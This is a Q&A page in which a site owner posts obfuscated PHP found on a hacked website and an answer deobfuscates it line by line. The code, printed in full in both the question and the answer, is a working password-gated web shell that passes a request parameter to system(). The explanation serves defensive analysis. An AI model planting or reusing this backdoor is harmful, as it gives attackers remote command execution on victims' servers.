Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

My website got hacked - what does this code do?

Someone hacked my site and included this code. Could someone explain what it does?

I've reformatted the spacing for better clarity. I've tried running the code but it looks like all it does is return an md5 hash. Is this harmless?

<? 

$GLOBALS['_131068239_']=Array(
    base64_decode('bWQ' .'1'),
    base64_decode('' .'dXJsZGV' .'jb' .'2Rl'),
    base64_decode('dX' .'JsZGVjb2Rl'),
    base64_decode('c3lz' .'dGVt')); 
?>

<? function 
     _787708145($i)
        {
            $a=Array(
                'MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=',
                'cA==',
                'cw==',
                '');
            return base64_decode($a[$i]);
        } 
?>

<?php 
    $_0=_787708145(0);

    $_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));

    if($_1!=$_0)exit;

    $_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]);

    if($_2==_787708145(3))exit;

    $GLOBALS['_131068239_'][3]($_2);exit; 
?>
like image 672
johnfree Avatar asked Aug 21 '15 07:08

johnfree


People also ask

What happens when a website you use gets hacked?

When your website gets hacked, hackers often have injected malicious code or files into your website. This adds additional data to your website servers and overwhelms them, which can lead to your website loading slower than before.

How would I know if my website has been hacked?

If you're unsure if your site is actually hacked, or if you think your site was incorrectly flagged, start by registering your site in Search Console. Go to the Security Issues sections of Search Console and look for example URLs where Google detected that your site has been hacked.

Can a hacked website be recovered?

You can start by restoring your backup file, but be sure that the backup was created before the site was hacked. Install any software upgrades or updates available, including software for the operating system. Look through the software you do currently have on your server, and see what could be eliminated if needed.


1 Answers

Answer inline in the code comments below.
In short the script allows a shell to be either written or uploaded to your server.

Later edit: definitely not harmless, burn it with fire.

<?php 

$GLOBALS['_131068239_']=Array(
    base64_decode('bWQ' .'1'), // md5 - php function
    base64_decode('' .'dXJsZGV' .'jb' .'2Rl'), // urldecode - php function
    base64_decode('dX' .'JsZGVjb2Rl'), //urldecode - php function
    base64_decode('c3lz' .'dGVt')); //system - php function


function _787708145($i)
        {
            $a=Array(
                'MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=',
                'cA==',
                'cw==',
                '');
            return base64_decode($a[$i]);
        } 

$_0=_787708145(0); // md5 hash 2caf6917ca3d9a3a85d26029ed623b1a

$_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));
// this is a function call md5(urldecode($_REQUEST[p]))
// this script is passed an url as a get or post parameter and getting md5 encoded

if($_1!=$_0)exit; // the md5 hash is compared here with the hash above

$_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]); 
// another function call, urldecode($_REQUEST[s])
// another parameter is passed

if($_2==_787708145(3))exit; // if the urldecode above == blank then exit

$GLOBALS['_131068239_'][3]($_2); 
// execute system function with the "s" parameter, system(s)
// basically writing a shell on your server here

exit; 
// job done, exit :)
like image 107
Alex Andrei Avatar answered Sep 23 '22 13:09

Alex Andrei